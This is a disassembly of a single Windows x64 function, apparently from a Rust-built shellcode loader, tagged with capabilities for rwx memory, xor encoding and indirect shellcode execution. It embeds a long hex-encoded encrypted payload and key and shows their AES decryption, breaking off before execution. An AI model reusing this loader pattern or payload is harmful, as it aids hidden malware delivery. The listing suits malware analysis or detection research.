Function at 0x140001590
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x11b8
call dbg.___chkstk_ms
sub rsp, rax
movdqa xmmword [rsp + 0x11a0], xmm15
movdqa xmmword [rsp + 0x1190], xmm14
movdqa xmmword [rsp + 0x1180], xmm13
movapd xmmword [rsp + 0x1170], xmm12
movdqa xmmword [rsp + 0x1160], xmm11
movdqa xmmword [rsp + 0x1150], xmm10
movapd xmmword [rsp + 0x1140], xmm9
movapd xmmword [rsp + 0x1130], xmm8
movdqa xmmword [rsp + 0x1120], xmm7
movdqa xmmword [rsp + 0x1110], xmm6
movapd xmm0, xmmword [str.WPL8Zxso3kIFBjbo]
movapd xmmword [rsp + 0x8d0], xmm0
movzx eax, byte [0x140049040]
mov rcx, qword [0x1400490f0]
test rcx, rcx
jne 0x140001647
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140003ab3
mov rcx, rax
mov qword [0x1400490f0], rax
mov r8d, 0x760
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x140003ab3
mov rsi, rax
lea rdx, [0x14003eb98]
mov r8d, 0x760
mov rcx, rax
call sym.memcpy
movzx eax, byte [0x140049040]
mov rcx, qword [0x1400490f0]
test rcx, rcx
jne 0x1400016a0
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140003ac4
mov rcx, rax
mov qword [0x1400490f0], rax
mov r8d, 0x20
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x140003ac4
mov rdi, rax
movups xmm0, xmmword [0x14003eb88]
movups xmmword [rax + 0x10], xmm0
movupd xmm0, xmmword [str.67575738516b6c46795649516670444ebec5444b4caa22312cd8d65132718f111b3fee4810669e8d084ad24d754781c1aeb71fe60f76d82b4710c78cc31f8ca3d82ca89334c8d2290ba4c1c05420922bcb5dfd8a87d4d4d106111b8d866fde12101bb24d54b5064646f70e5c46db527cd55222370078768186d5747b526319bcbc573b326a2f111e9976355b26dd7d1c7b3589c1bc3985a67bac1d00710e84b79b227469a9a7fca5de56b3c45c0032fab0823c173eae906d859b91381f6f405c12a2a98be88ebef1a72ef7f49e15c460ef57b540cd2c8b9807fc1b6f51e082fa9f8bf99a0421157690a42e01372897d2e75c1cf357ebbdc4f570c2621b51da501ac760f179637c7bcba659191ad66df23d4df5768289ce154dc987d6fab770a7e66b2918ee9f40ab79a2d395f59dc3bee4e224e85e5ec3a3d57222c899758fa64f474f8d2d59fc23e449552763d3f1caad0d58a0a8121d03a9982e38dd46fef04228dc207e000b1bdc51ed96493bfd4585eb7f1d02d07731d9929e3045b9a007655cf2aa79b0e8323c08cc10088c0d3158e1910ee1176acfb8b8a2afaaa043b4a42c48545bb03679c2b1760e2781d36296c58b7de084266b35e468e0e5f7db763ef5e36e35cfaafe64fa0e1a235ff11f2b6030e086227765d0150513ea1c86361abbfdba753858b7ed98762248c2f28b6361ce73d8146da65a9f89250a2f8699459e6901f4bfa35cfae135b237dc42e8b28880a95b8468c67fbc4ba61927b8202dcc3c892179af2eb16e3a88e8a7171812d3f39ad85b82720ffb06437965bc048606c1d8ae01c5d8e9e6a99484e0f144b4dec122865f312e53c7e6b7936bf5edb77360a0b48b092e43b27fad28465872227aa4a6a71d29583f0429d113b7a9aab4bbe6c06d6ccb7489f003bc5254e0f1f5d1ffeee3e95bc06d9bb37b64ecc1f92ac02ef3ca21cb53c6a31293ff62392c79cffbe721c56ba78ccbaedb6f79c988c674bb1080b16230df90a75bff7c8b2e6bf14ae2b10bb66842d00d355f5d4e96961cb2f6328f883386c14c9265ce7ef831f6c9e84dacc1856ce99a8a3682c263b5f05779a6a254e735963cc00fa81bf09eb0c8e0a735b0b05d06956450d9a434970cead8593f834f2fc2cf261b3082dbad582e3be0a39b6fbb1b92b5c87cda7fead1cb959e2e3be8355b92ee393c7cf62a4910dc23594937f89060d1db7e431dcf62c3a42eea64b5e9c7c9a2261ad1fa88d4d5a6bd1724e1e2b6d8324f017a43b2df45f20ef38ba61d44e38332910ac453adcb17b7860922d1a686db12c67c5a76e75a69a37d23322b5312c8f2319470a3132153c0a62241f631d53af8192b98msgsrc_main.rs]
movupd xmmword [rax], xmm0
lea rcx, [rsp + 0x330]
mov r8d, 0x760
mov rdx, rsi
call sym.__alloc::vec::Vec_u8__as_hex::FromHex_::from_hex::h687411e0dd1f3ca3
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140003ad8
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x68], rax
mov rbp, qword [rsp + 0x340]
lea rcx, [rsp + 0x330]
mov r8d, 0x20
mov rdx, rdi
call sym.__alloc::vec::Vec_u8__as_hex::FromHex_::from_hex::h687411e0dd1f3ca3
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140003b1b
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x340], 0x10
mov qword [rsp + 0x40], rsi
jne 0x140003b5e
movzx eax, byte [0x14003c010]
cmp al, 0xff
je 0x140001772
cmp al, 1
je 0x1400017bb
jmp 0x140001d42
lea rcx, [rsp + 0x610]
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::h32bb29782ff48cff
lea rcx, [rsp + 0x70]
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::hedfc75c9ec00b196
mov esi, dword [rsp + 0x618]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140001d3b
call sym.core::core_arch::x86::xsave::_xgetbv::h45abb0ccbe5cd680
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov byte [0x14003c010], sil
je 0x140001d42
mov rax, qword [rsp + 0x38]
movdqu xmm6, xmmword [rax]
movdqa xmmword [rsp + 0x8e0], xmm6
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x8e0]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h770cbf27d04067d5
pshufd xmm0, xmmword [rsp + 0x70], 0xff
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm7, xmm6
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm6
movdqa xmmword [rsp + 0x8f0], xmm7
lea r13, [rsp + 0x120]
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0x8f0]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x900], xmm7
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x900]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hc2527152dbe0ee76
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm7
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm7
movdqa xmmword [rsp + 0x910], xmm8
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x910]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x920], xmm8
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x920]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hf62e9fad6354b48f
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm8
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm8
movdqa xmmword [rsp + 0x930], xmm9
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x930]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x940], xmm9
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x940]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h3d48456880175982
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm9
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm9
movdqa xmmword [rsp + 0x950], xmm10
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x950]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x960], xmm10
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x960]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h1d2ab502f63d3018
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm10
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm10
movdqa xmmword [rsp + 0x970], xmm11
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x970]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x980], xmm11
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x980]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h2d0e23baa2385517
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm11
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm11
movdqa xmmword [rsp + 0x990], xmm12
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x990]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x9a0], xmm12
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x9a0]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h57d2de3de6b2c2f3
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm12
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm12
movdqa xmmword [rsp + 0x9b0], xmm13
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x9b0]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x9c0], xmm13
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x9c0]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h8611f7c7f25ef1a7
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm13
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm13
movdqa xmmword [rsp + 0x9d0], xmm14
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0x9d0]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0x9e0], xmm14
lea rcx, [rsp + 0xce0]
lea rdx, [rsp + 0x9e0]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::hccba56ccadefd193
pshufd xmm0, xmmword [rsp + 0xce0], 0xff
movdqa xmm1, xmm14
pslldq xmm1, 4
movdqa xmm2, xmm14
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm14
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm14
movdqa xmmword [rsp + 0x9f0], xmm15
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x9f0]
call sym.core::core_arch::x86::aes::_mm_aesimc_si128::h5ec52094dba6f995
movdqa xmmword [rsp + 0xce0], xmm15
lea rcx, [rsp + 0xa00]
lea rdx, [rsp + 0xce0]
call sym.core::core_arch::x86::aes::_mm_aeskeygenassist_si128::h33cfe948133c2e90
pshufd xmm0, xmmword [rsp + 0xa00], 0xff
movdqa xmm1, xmm15
pslldq xmm1, 4
movdqa xmm2, xmm15
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm15
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm15
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x80], xmm7
movdqa xmmword [rsp + 0x90], xmm8
movdqa xmmword [rsp + 0xa0], xmm9
movdqa xmmword [rsp + 0xb0], xmm10
movdqa xmmword [rsp + 0xc0], xmm11
movdqa xmmword [rsp + 0xd0], xmm12
movdqa xmmword [rsp + 0xe0], xmm13
movdqa xmmword [rsp + 0xf0], xmm14
movdqa xmmword [rsp + 0x100], xmm15
movdqa xmmword [rsp + 0x110], xmm0
movdqa xmmword [rsp + 0x120], xmm6
movdqa xmmword [rsp + 0x1c0], xmm0
lea rsi, [rsp + 0xce0]
lea rdx, [rsp + 0x70]
mov r8d, 0xb0
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0xd90]
mov r8d, 0xb0
mov rdx, r13
call sym.memcpy
lea rbx, [rsp + 0x610]
mov r8d, 0x160
mov rcx, rbx
mov rdx, rsi
call sym.memcpy
lea rcx, [rsp + 0x33f]
mov r8d, 0x2c0
mov rdx, rbx
call sym.memcpy
jmp 0x14000274f
mov byte [0x14003c010], 0
mov r13, rdi
mov edi, 0xf0000000
xor ebx, ebx
lea rsi, [rsp + 0x70]
mov r8d, 0x2c0
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rcx, rsi
mov r8, rdx
mov r9, rdx
call sym.aes::soft::fixslice::bitslice::hff99f31de52d1d72
mov rsi, 0xfffffffffffffffb
pcmpeqd xmm6, xmm6
movdqa xmm7, xmmword [0x14003d020]
movapd xmm8, xmmword [0x14003d030]
movapd xmm9, xmmword [0x14003d040]
movdqa xmm10, xmmword [0x14003d050]
movdqa xmm11, xmmword [0x14003d010]
xor r15d, r15d
xor r12d, r12d
jmp 0x140001fc1
lea rax, [rsp + r15]
add rax, 0x70
xor qword [rax + r14*8 + 0x40], rdi
movdqu xmm0, xmmword [rsp + r15 + 0xb0]
movdqa xmm1, xmm0
psrlq xmm1, 0x1c
psllq xmm0, 0x24
por xmm0, xmm1
pand xmm0, xmm7
movdqu xmm3, xmmword [rsp + r15 + 0x70]
pxor xmm3, xmm0
movdqu xmm2, xmmword [rsp + r15 + 0x80]
movdqu xmm1, xmmword [rsp + r15 + 0x90]
movdqu xmm0, xmmword [rsp + r15 + 0xa0]
movdqa xmm4, xmm3
movdqa xmm5, xmm3
psllq xmm5, 0xc
pand xmm5, xmm10
pxor xmm5, xmm3
psllq xmm3, 8
psllq xmm4, 4
movdqa xmm12, xmm4
movsd xmm12, xmm3
andpd xmm12, xmm8
shufpd xmm4, xmm3, 2
andpd xmm4, xmm9
xorpd xmm4, xmm12
pxor xmm5, xmm4
movdqu xmmword [rsp + r15 + 0xb0], xmm5
movdqu xmm3, xmmword [rsp + r15 + 0xc0]
movdqa xmm4, xmm3
psrlq xmm4, 0x1c
psllq xmm3, 0x24
por xmm3, xmm4
pand xmm3, xmm7
pxor xmm3, xmm2
movdqa xmm2, xmm3
movdqa xmm4, xmm3
psllq xmm4, 0xc
pand xmm4, xmm10
pxor xmm4, xmm3
psllq xmm3, 8
psllq xmm2, 4
movdqa xmm5, xmm2
movsd xmm5, xmm3
andpd xmm5, xmm8
shufpd xmm2, xmm3, 2
andpd xmm2, xmm9
xorpd xmm2, xmm5
pxor xmm4, xmm2
movdqu xmmword [rsp + r15 + 0xc0], xmm4
movdqu xmm2, xmmword [rsp + r15 + 0xd0]
movdqa xmm3, xmm2
psrlq xmm3, 0x1c
psllq xmm2, 0x24
por xmm2, xmm3
pand xmm2, xmm7
pxor xmm2, xmm1
movdqa xmm1, xmm2
movdqa xmm3, xmm2
psllq xmm3, 0xc
pand xmm3, xmm10
pxor xmm3, xmm2
psllq xmm2, 8
psllq xmm1, 4
movdqa xmm4, xmm1
movsd xmm4, xmm2
andpd xmm4, xmm8
shufpd xmm1, xmm2, 2
andpd xmm1, xmm9
xorpd xmm1, xmm4
pxor xmm3, xmm1
movdqu xmmword [rsp + r15 + 0xd0], xmm3
movdqu xmm1, xmmword [rsp + r15 + 0xe0]
movdqa xmm2, xmm1
psrlq xmm2, 0x1c
psllq xmm1, 0x24
por xmm1, xmm2
pand xmm1, xmm7
pxor xmm1, xmm0
movdqa xmm0, xmm1
movdqa xmm2, xmm1
psllq xmm2, 0xc
pand xmm2, xmm10
pxor xmm2, xmm1
psllq xmm1, 8
psllq xmm0, 4
movdqa xmm3, xmm0
movsd xmm3, xmm1
andpd xmm3, xmm8
shufpd xmm0, xmm1, 2
andpd xmm0, xmm9
xorpd xmm0, xmm3
pxor xmm2, xmm0
movdqu xmmword [rsp + r15 + 0xe0], xmm2
add r15, 0x40
add rbx, 0x48
inc rsi
inc r12
cmp rsi, 5
je 0x140002077
lea r14, [rsi + 5]
movups xmm0, xmmword [rsp + r15 + 0x70]
movups xmm1, xmmword [rsp + r15 + 0x80]
movups xmm2, xmmword [rsp + r15 + 0x90]
movups xmm3, xmmword [rsp + r15 + 0xa0]
movups xmmword [rsp + r15 + 0xe0], xmm3
movups xmmword [rsp + r15 + 0xd0], xmm2
movups xmmword [rsp + r15 + 0xc0], xmm1
lea rcx, [rsp + r15]
add rcx, 0xb0
movups xmmword [rsp + r15 + 0xb0], xmm0
call sym.aes::soft::fixslice::sub_bytes::h4e96c3142225927b
movdqu xmm0, xmmword [rsp + r15 + 0xb0]
movdqu xmm1, xmmword [rsp + r15 + 0xd8]
pxor xmm0, xmm6
movdqu xmmword [rsp + r15 + 0xb0], xmm0
pxor xmm1, xmm6
movdqu xmmword [rsp + r15 + 0xd8], xmm1
cmp r14, 8
jb 0x140001dc0
movdqu xmm0, xmmword [rsp + rbx + 0x70]
pxor xmm0, xmm11
movdqu xmmword [rsp + rbx + 0x70], xmm0
xor qword [rsp + rbx + 0x88], rdi
lea r14, [r12 - 4]
jmp 0x140001dc0
lea rax, [rsp + 0x160]
xor ecx, ecx
movdqa xmm1, xmmword [0x14003d060]
movdqa xmm0, xmmword [0x14003d070]
movdqa xmm2, xmmword [0x14003d080]
movdqa xmm3, xmmword [0x14003d090]
nop word cs:[rax + rax]
movdqu xmm7, xmmword [rax - 0xb0]
movdqu xmm6, xmmword [rax - 0xa0]
movdqu xmm5, xmmword [rax - 0x90]
movdqu xmm4, xmmword [rax - 0x80]
movdqa xmm8, xmm7
psrlq xmm8, 8
pxor xmm8, xmm7
pand xmm8, xmm1
movdqa xmm9, xmm8
psllq xmm9, 8
por xmm9, xmm8
pxor xmm9, xmm7
movdqa xmm7, xmm9
psrlq xmm7, 4
pxor xmm7, xmm9
pand xmm7, xmm0
movdqa xmm8, xmm7
psllq xmm8, 4
por xmm8, xmm7
pxor xmm8, xmm9
movdqu xmmword [rax - 0xb0], xmm8
movdqa xmm7, xmm6
psrlq xmm7, 8
pxor xmm7, xmm6
pand xmm7, xmm1
movdqa xmm8, xmm7
psllq xmm8, 8
por xmm8, xmm7
pxor xmm8, xmm6
movdqa xmm6, xmm8
psrlq xmm6, 4
pxor xmm6, xmm8
pand xmm6, xmm0
movdqa xmm7, xmm6
psllq xmm7, 4
por xmm7, xmm6
pxor xmm7, xmm8
movdqu xmmword [rax - 0xa0], xmm7
movdqa xmm6, xmm5
psrlq xmm6, 8
pxor xmm6, xmm5
pand xmm6, xmm1
movdqa xmm7, xmm6
psllq xmm7, 8
por xmm7, xmm6
pxor xmm7, xmm5
movdqa xmm5, xmm7
psrlq xmm5, 4
pxor xmm5, xmm7
pand xmm5, xmm0
movdqa xmm6, xmm5
psllq xmm6, 4
por xmm6, xmm5
pxor xmm6, xmm7
movdqu xmmword [rax - 0x90], xmm6
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm1
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rax - 0x80], xmm5
movdqu xmm4, xmmword [rax - 0x70]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rax - 0x70], xmm6
movdqu xmm4, xmmword [rax - 0x60]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rax - 0x60], xmm6
movdqu xmm4, xmmword [rax - 0x50]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rax - 0x50], xmm6
movdqu xmm4, xmmword [rax - 0x40]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm2
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqu xmmword [rax - 0x40], xmm6
movdqu xmm4, xmmword [rax - 0x30]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rax - 0x30], xmm5
movdqu xmm4, xmmword [rax - 0x20]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rax - 0x20], xmm5
movdqu xmm4, xmmword [rax - 0x10]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rax - 0x10], xmm5
movdqu xmm4, xmmword [rax]
movdqa xmm5, xmm4
psrlq xmm5, 8
pxor xmm5, xmm4
pand xmm5, xmm3
movdqa xmm6, xmm5
psllq xmm6, 8
por xmm6, xmm5
pxor xmm6, xmm4
movdqa xmm4, xmm6
psrlq xmm4, 4
pxor xmm4, xmm6
pand xmm4, xmm0
movdqa xmm5, xmm4
psllq xmm5, 4
por xmm5, xmm4
pxor xmm5, xmm6
movdqu xmmword [rax], xmm5
add rax, 0x100
test cl, 1
mov cl, 1
je 0x1400020b0
movdqu xmm2, xmmword [rsp + 0x2b0]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x2b0], xmm3
movdqu xmm2, xmmword [rsp + 0x2c0]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x2c0], xmm3
movdqu xmm2, xmmword [rsp + 0x2d0]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm4, xmm3
psllq xmm4, 8
por xmm4, xmm3
pxor xmm4, xmm2
movdqa xmm2, xmm4
psrlq xmm2, 4
pxor xmm2, xmm4
pand xmm2, xmm0
movdqa xmm3, xmm2
psllq xmm3, 4
por xmm3, xmm2
pxor xmm3, xmm4
movdqu xmmword [rsp + 0x2d0], xmm3
movdqu xmm2, xmmword [rsp + 0x2e0]
movdqa xmm3, xmm2
psrlq xmm3, 8
pxor xmm3, xmm2
pand xmm3, xmm1
movdqa xmm1, xmm3
psllq xmm1, 8
por xmm1, xmm3
pxor xmm1, xmm2
movdqa xmm2, xmm1
psrlq xmm2, 4
pxor xmm2, xmm1
pand xmm2, xmm0
movdqa xmm0, xmm2
psllq xmm0, 4
por xmm0, xmm2
pxor xmm0, xmm1
movdqu xmmword [rsp + 0x2e0], xmm0
pcmpeqd xmm0, xmm0
movdqu xmm1, xmmword [rsp + 0xb0]
movdqu xmm2, xmmword [rsp + 0xd8]
movdqu xmm3, xmmword [rsp + 0xf0]
movdqu xmm4, xmmword [rsp + 0x118]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0xb0], xmm1
pxor xmm2, xmm0
movdqu xmmword [rsp + 0xd8], xmm2
pxor xmm3, xmm0
movdqu xmmword [rsp + 0xf0], xmm3
pxor xmm4, xmm0
movdqu xmmword [rsp + 0x118], xmm4
movdqu xmm1, xmmword [rsp + 0x130]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x130], xmm1
movdqu xmm1, xmmword [rsp + 0x158]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x158], xmm1
movdqu xmm1, xmmword [rsp + 0x170]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x170], xmm1
movdqu xmm1, xmmword [rsp + 0x198]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x198], xmm1
movdqu xmm1, xmmword [rsp + 0x1b0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1b0], xmm1
movdqu xmm1, xmmword [rsp + 0x1d8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1d8], xmm1
movdqu xmm1, xmmword [rsp + 0x1f0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x1f0], xmm1
movdqu xmm1, xmmword [rsp + 0x218]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x218], xmm1
movdqu xmm1, xmmword [rsp + 0x230]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x230], xmm1
movdqu xmm1, xmmword [rsp + 0x258]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x258], xmm1
movdqu xmm1, xmmword [rsp + 0x270]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x270], xmm1
movdqu xmm1, xmmword [rsp + 0x298]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x298], xmm1
movdqu xmm1, xmmword [rsp + 0x2b0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2b0], xmm1
movdqu xmm1, xmmword [rsp + 0x2d8]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2d8], xmm1
movdqu xmm1, xmmword [rsp + 0x2f0]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x2f0], xmm1
movdqu xmm1, xmmword [rsp + 0x318]
pxor xmm1, xmm0
movdqu xmmword [rsp + 0x318], xmm1
lea rsi, [rsp + 0x610]
lea rdx, [rsp + 0x70]
mov r8d, 0x2c0
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0x33f]
mov r8d, 0x2c0
mov rdx, rsi
call sym.memcpy
mov rdi, r13
lea rsi, [rsp + 0xe4f]
lea rdx, [rsp + 0x33f]
mov r8d, 0x2c0
mov rcx, rsi
call sym.memcpy
lea rbx, [rsp + 0xa1f]
mov r8d, 0x2c0
mov rcx, rbx
mov rdx, rsi
call sym.memcpy
lea rcx, [rsp + 0xe40]
mov r8d, 0x2c0
mov rdx, rbx
call sym.memcpy
lea rcx, [rsp + 0x1100]
lea rdx, [rsp + 0x8d0]
call sym.generic_array::functional::FunctionalSequence::map::hfb8235b2255dddf0
lea rsi, [rsp + 0x33f]
lea rdx, [rsp + 0xe40]
mov r8d, 0x2d0
mov rcx, rsi
call sym.memcpy
lea rcx, [rsp + 0xe40]
mov r8d, 0x2d0
mov rdx, rsi
call sym.memcpy
test rbp, rbp
je 0x14000283c
setns bl
js 0x140003bde
movzx eax, byte [0x140049040]
